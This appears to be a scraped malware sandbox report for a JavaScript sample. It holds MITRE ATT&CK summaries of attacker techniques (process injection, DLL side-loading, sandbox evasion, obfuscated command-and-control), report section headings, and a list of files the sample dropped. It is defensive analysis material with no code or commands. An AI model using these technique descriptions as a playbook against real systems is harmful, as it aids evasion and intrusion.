Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2752019937704124971.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ba303715-871b-4690-98ef-54b75ac524ba.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7660

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
2752019937704124971.js